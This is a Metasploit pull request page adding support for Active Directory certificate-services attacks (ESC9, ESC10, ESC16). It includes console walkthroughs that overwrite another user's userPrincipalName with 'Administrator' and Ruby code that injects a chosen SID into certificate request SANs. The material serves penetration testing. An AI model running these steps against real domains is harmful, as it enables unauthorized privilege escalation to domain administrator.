Skip to content

Add Exploit Support for ESC9, ESC10 & ESC16 #20189

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 24 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
24 commits
Select commit Hold shift + click to select a range
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The top of this doc has a list of all the ESC flaws that Metasploit supports and a flow chart. ESC9 and ESC10 should be added to that chart and the full list of ESC vulnerabilities with links to their exploit sections.

Large diffs are not rendered by default.

9 changes: 9 additions & 0 deletions documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md
Original file line number Diff line number Diff line change
Expand Up @@ -61,6 +61,15 @@ Username to request on behalf of. This is in the format `$domain\\$username`.

The digest algorithm to use for cryptographic signing operations.

### STRONG_SID_MAPPING
*This is an advanced option.*

When set to `true`, the module will use strong URL to SID mapping when requesting a certificate that contains a URL SAN.
This is done by adding the `tag:microsoft.com,2022-09-14:sid:` part to the SAN which is formatted like so:
`URL=tag:microsoft.com,2022-09-14:sid:<value>`. This option was introduced to maintain compatibility with older windows
versions as this is not compatible with versions prior to Windows Server Preview Build 25246.
[More info](https://techcommunity.microsoft.com/blog/askds/preview-of-san-uri-for-certificate-strong-mapping-for-kb5014754/3789785)

## Actions

### REQUEST_CERT
Expand Down
172 changes: 172 additions & 0 deletions documentation/modules/auxiliary/gather/ldap_object_attribute.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,172 @@
## Description

The `ldap_object_attribute` module allows users to read, create, update or delete attributes of LDAP objects in an Active Directory environment.
This module is flexible, enabling users to specify the target object and the attribute they wish to interact with.

## Verification Steps

### Action Update
1. On the target host determine the current UPN value of the user you wish to update:
```powershell
PS C:\Users\Administrator> Get-ADUser -Identity user2 -Properties UserPrincipalName | Select-Object UserPrincipalName

UserPrincipalName
-----------------
user2
```
1. Start `msfconsole`
1. Do: `use auxiliary/gather/ldap_object_attribute`
1. Do: `set RHOST [IP]`
1. Do: `set LDAPDomain [DOMAIN]`
1. Do: `set LDAPUsername [USERNAME]`
1. Do: `set LDAPPassword [PASSWORD]`
1. Do: `set TARGET_USERNAME [TARGET_USERNAME]`
1. Do: `set ATTRIBUTE userPrincipalName`
1. Do: `set OBJECT_LOOKUP sAMAccountName`
1. Do: `set OBJECT [User you wish to update]`
1. Do: `set VALUE [New value for the attribute (e.g., Administrator)]`
1. Do: `set ACTION update`
1. Do: `run`
1. Verify the attribute has been updated successfully:
```powershell
PS C:\Users\Administrator> Get-ADUser -Identity user2 -Properties UserPrincipalName | Select-Object UserPrincipalName

UserPrincipalName
-----------------
Administrator
```

## Options

### OBJECT
The username of the target LDAP object whose attribute you want to update. This is used to locate the specific object in the LDAP directory.

### OBJECT_LOOKUP
How to look up the target LDAP object. This can either be done by specifying a DN or by specifying `sAMAaccountName` in order to work with AD account attributes.

### ATTRIBUTE
The LDAP attribute to update. For example, `userPrincipalName` can be used to update the User Principal Name of the target object.

### VALUE
Required when running "Update" or "Create" actions and is the value of the specified attribute that you want to set for the target object.

## Scenarios
### Action `Update`

```
msf6 auxiliary(gather/ldap_object_attribute) > set action update
action => update
msf6 auxiliary(gather/ldap_object_attribute) > set rhost 172.16.199.200
rhost => 172.16.199.200
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPDomain kerberos.issue
LDAPDomain => kerberos.issue
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPUsername user1
LDAPUsername => user1
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPPassword N0tpassword!
LDAPPassword => N0tpassword!
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT user2
OBJECT => user2
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT_LOOKUP sAMAccountName
OBJECT_LOOKUP => sAMAccountName
msf6 auxiliary(gather/ldap_object_attribute) > set ATTRIBUTE userPrincipalName
ATTRIBUTE => userPrincipalName
msf6 auxiliary(gather/ldap_object_attribute) > set VALUE Administrator
VALUE => Administrator
msf6 auxiliary(gather/ldap_object_attribute) > run
[*] Running module against 172.16.199.200
[*] Discovering base DN automatically
[*] Original value of user2's userPrincipalName:
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```

### Action `Read`
```
msf6 auxiliary(gather/ldap_object_attribute) > set action read
action => read
msf6 auxiliary(gather/ldap_object_attribute) > set rhost 172.16.199.200
rhost => 172.16.199.200
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPDomain kerberos.issue
LDAPDomain => kerberos.issue
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPUsername user1
LDAPUsername => user1
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPPassword N0tpassword!
LDAPPassword => N0tpassword!
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT user2
OBJECT => user2
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT_LOOKUP sAMAccountName
OBJECT_LOOKUP => sAMAccountName
msf6 auxiliary(gather/ldap_object_attribute) > set ATTRIBUTE userPrincipalName
ATTRIBUTE => userPrincipalName
msf6 auxiliary(gather/ldap_object_attribute) > run
[*] Running module against 172.16.199.200
[*] Discovering base DN automatically
[+] Found CN=user2,CN=Users,DC=kerberos,DC=issue with userPrincipalName set to Administrator
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```

### Action `Delete`
```
msf6 auxiliary(gather/ldap_object_attribute) > set action delete
action => delete
msf6 auxiliary(gather/ldap_object_attribute) > set rhost 172.16.199.200
rhost => 172.16.199.200
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPDomain kerberos.issue
LDAPDomain => kerberos.issue
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPUsername user1
LDAPUsername => user1
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPPassword N0tpassword!
LDAPPassword => N0tpassword!
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT user2
OBJECT => user2
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT_LOOKUP sAMAccountName
OBJECT_LOOKUP => sAMAccountName
msf6 auxiliary(gather/ldap_object_attribute) > set ATTRIBUTE userPrincipalName
ATTRIBUTE => userPrincipalName
msf6 auxiliary(gather/ldap_object_attribute) > run
[*] Running module against 172.16.199.200
[*] Discovering base DN automatically
[*] Attempting to delete attribute userPrincipalName from CN=user2,CN=Users,DC=kerberos,DC=issue...
[+] Successfully deleted attribute userPrincipalName from CN=user2,CN=Users,DC=kerberos,DC=issue
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```

### Action `Create`
```
msf6 auxiliary(gather/ldap_object_attribute) > set action create
action => create
msf6 auxiliary(gather/ldap_object_attribute) > set rhost 172.16.199.200
rhost => 172.16.199.200
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPDomain kerberos.issue
LDAPDomain => kerberos.issue
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPUsername user1
LDAPUsername => user1
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPPassword N0tpassword!
LDAPPassword => N0tpassword!
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT user2
OBJECT => user2
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT_LOOKUP sAMAccountName
OBJECT_LOOKUP => sAMAccountName
msf6 auxiliary(gather/ldap_object_attribute) > set ATTRIBUTE userPrincipalName
ATTRIBUTE => userPrincipalName
msf6 auxiliary(gather/ldap_object_attribute) > set VALUE Administrator
VALUE => Administrator
msf6 auxiliary(gather/ldap_object_attribute) > run
[*] Reloading module...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Running module against 172.16.199.200
[*] Discovering base DN automatically
[*] Attempting to add attribute userPrincipalName with value asdfasdf to CN=user2,CN=Users,DC=kerberos,DC=issue...
[+] Successfully added attribute userPrincipalName with value asdfasdf to CN=user2,CN=Users,DC=kerberos,DC=issue
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```

## Notes

- Ensure the user account used for authentication has sufficient privileges to modify the specified attribute.
- Use caution when modifying LDAP attributes, as incorrect changes can disrupt directory services.
57 changes: 53 additions & 4 deletions lib/msf/core/exploit/remote/ms_icpr.rb
Original file line number Diff line number Diff line change
Expand Up @@ -27,6 +27,9 @@ module Exploit::Remote::MsIcpr
# [[MS-WCCE]: 2.2.2.7.7.3 Encoding a Certificate Application Policy Extension](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/160b96b1-c431-457a-8eed-27c11873f378)
OID_APPLICATION_CERT_POLICIES = '1.3.6.1.4.1.311.21.10'.freeze

# [[SAN URL prefix for strong SID mapping for KDCs running Windows Server Preview Build 25246 and later](https://techcommunity.microsoft.com/blog/askds/preview-of-san-uri-for-certificate-strong-mapping-for-kb5014754/3789785)]
SAN_URL_PREFIX = "tag:microsoft.com,2022-09-14:sid:"

class MsIcprError < StandardError; end
class MsIcprConnectionError < MsIcprError; end
class MsIcprAuthenticationError < MsIcprError; end
Expand All @@ -51,7 +54,8 @@ def initialize(info = {})
], Msf::Exploit::Remote::MsIcpr)

register_advanced_options([
OptEnum.new('DigestAlgorithm', [ true, 'The digest algorithm to use', 'SHA256', %w[SHA1 SHA256] ])
OptEnum.new('DigestAlgorithm', [ true, 'The digest algorithm to use', 'SHA256', %w[SHA1 SHA256] ]),
OptBool.new('STRONG_SID_MAPPING', [ true, 'Use strong SID prefix (tag:microsoft.com,2022-09-14:sid:<value>) in the SAN URI. For KDCs running Windows Server Preview Build 25246 and later.', true ]),
])
end

Expand Down Expand Up @@ -170,6 +174,15 @@ def do_request_cert(icpr, opts)
san = []
san << "dns=#{alt_dns}" if alt_dns
san << "upn=#{alt_upn}" if alt_upn

if alt_sid
if datastore['STRONG_SID_MAPPING']
san << "url=#{SAN_URL_PREFIX}#{alt_sid}"
else
san << "url=#{alt_sid}"
end
end

attributes['SAN'] = san.join('&') unless san.empty?

vprint_status(status_msg)
Expand Down Expand Up @@ -237,6 +250,10 @@ def do_request_cert(icpr, opts)
print_status("Certificate UPN: #{upn.join(', ')}")
end

unless (uri = get_cert_san_uri(response[:certificate])).empty?
print_status("Certificate URI: #{uri.join(', ')}")
end

pkcs12 = OpenSSL::PKCS12.create('', '', private_key, response[:certificate])
# see: https://pki-tutorial.readthedocs.io/en/latest/mime.html#mime-types
info = "#{simple.client.default_domain}\\#{datastore['SMBUser']} Certificate"
Expand Down Expand Up @@ -284,10 +301,28 @@ def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algor
extensions = []

subject_alt_names = []
subject_alt_names << "DNS:#{dns}" if dns
subject_alt_names << "otherName:#{OID_NT_PRINCIPAL_NAME};UTF8:#{msext_upn}" if msext_upn
subject_alt_names << "otherName = #{OID_NT_PRINCIPAL_NAME};UTF8:#{msext_upn}" if msext_upn

if msext_sid
if datastore['STRONG_SID_MAPPING']
subject_alt_names << "URI = #{SAN_URL_PREFIX}#{msext_sid}"
else
subject_alt_names << "URI = #{msext_sid}"
end
end

subject_alt_names << "DNS = #{dns}" if dns

unless subject_alt_names.empty?
extensions << OpenSSL::X509::ExtensionFactory.new.create_extension('subjectAltName', subject_alt_names.join(','), false)
# factory.create_extension accepts a comma separated list of SANs or a config file of SANs.
# SAN_URL_PREFIX in the URI SAN contains a comma so we create a config file and add it to the factory
# The config file requires an identifier we define at the top of the file [alt_names]
subject_alt_names.prepend("[alt_names]")
subject_alt_names_conf = subject_alt_names.join("\n")
config = OpenSSL::Config.parse(subject_alt_names_conf)
factory = OpenSSL::X509::ExtensionFactory.new
factory.config = config
extensions << factory.create_extension('subjectAltName', '@alt_names', false)
end

if msext_sid
Expand Down Expand Up @@ -470,6 +505,20 @@ def get_cert_san_email(cert)
end
end

# Get the URI/URL from the certificate.
#
# @param [OpenSSL::X509::Certificate] cert
# @return [Array<String>] The URIs/URLs if any were found.
def get_cert_san_uri(cert)
return [] unless (san = get_cert_san(cert))

san[:GeneralNames].value.select do |gn|
gn[:uniformResourceIdentifier].value?
end.map do |gn|
gn[:uniformResourceIdentifier].value
end
end

def icpr_service_data
{
host: rhost,
Expand Down
Loading